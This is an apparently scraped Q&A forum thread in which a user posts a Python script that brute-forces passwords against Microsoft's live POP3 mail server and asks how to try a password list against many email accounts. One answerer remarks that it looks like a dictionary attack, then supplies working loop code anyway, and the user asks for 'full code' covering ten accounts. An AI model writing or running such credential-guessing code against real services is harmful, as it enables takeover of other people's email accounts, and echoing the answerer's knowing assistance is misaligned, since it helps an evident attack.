tags:

views:

113

answers:

2

Hello everybody

First, here's my code:

import poplib
def con(pwd):
    M = poplib.POP3_SSL('pop3.live.com', 995) 
    try:
        M.user(pwd)
        M.pass_('!@#$%^')
    except:
        print "[-]Not Found!:",pwd
    else:
        print '[+]Found password'
        exit()

f = open("Str1k3r.txt", "r")
for pwd in f.readlines():
    con(pwd.replace("\r", "").replace("\n", ""))

I want have two argument in con definition, so it would be like con(pwd,cod) and M.pass_(cod), but it's doesn't work. How can I do this?

+1  A: 

Assuming, the file "Str1k3r.txt" contains username and password in the first two lines, what you want to do is the following:

import poplib
def con(pwd, cod):
    M = poplib.POP3_SSL('pop3.live.com', 995) 
    try:
        M.user(pwd)
        M.pass_(cod)
    except:
        print "[-]Not Found!:",pwd
    else:
        print '[+]Found password'
        exit()

f = open("Str1k3r.txt", "r")
lines = f.readlines()
pwd = lines[0].rstrip('\r\n')
cod = lines[1].rstrip('\r\n')
con(pwd, cod)

EDIT:

Although that sounds like you're doing some kind of dictionary attack, but I'll assume, that you simply forgot your password ;)

So your bottom lines should look like this:

f = open("Str1k3r.txt", "r")
lines = f.readlines()
pwd = lines[0].rstrip('\r\n')
dictfile = open("pass.txt", "r")
for password in dictfile:
    con(pwd, password.rstrip('\r\n'))
cypheon
cypheon thanks dude but in str1k3r.txt there email (pwd) and i need file called pass.txt for password (cod) and for each email try all the password in the pass.txt >!!
str1k3r
umm or by another waysee my code in my worng answer .. under
str1k3r
A: 

am thinking about that

import poplib
def con(pwd):
    M = poplib.POP3_SSL('pop3.live.com', 995) 
    try:
        M.user(pwd)
        M.pass_(here how i can put four  passwords ?)
    except:
        print "[-]Not Found!:",pwd
    else:
        print '[+]Found password'
        exit()

f = open("Str1k3r.txt", "r")
for pwd in f.readlines():
    con(pwd.replace("\r", "").replace("\n", ""))

am thinking put in M.pass_ like that M.pass_(123456 or 'abcdefj' or '=q-2oq2' ) but it's nor active as well i mean he try only 123456 no thing else

str1k3r
cypheon thanks but.. in Str1k3r file i put 10 emails and in pass file i put 5 password .. so for each email try 5 time with different password { that what i want but your code try on only one email and 5 password ! so please give me full code as work very well
str1k3r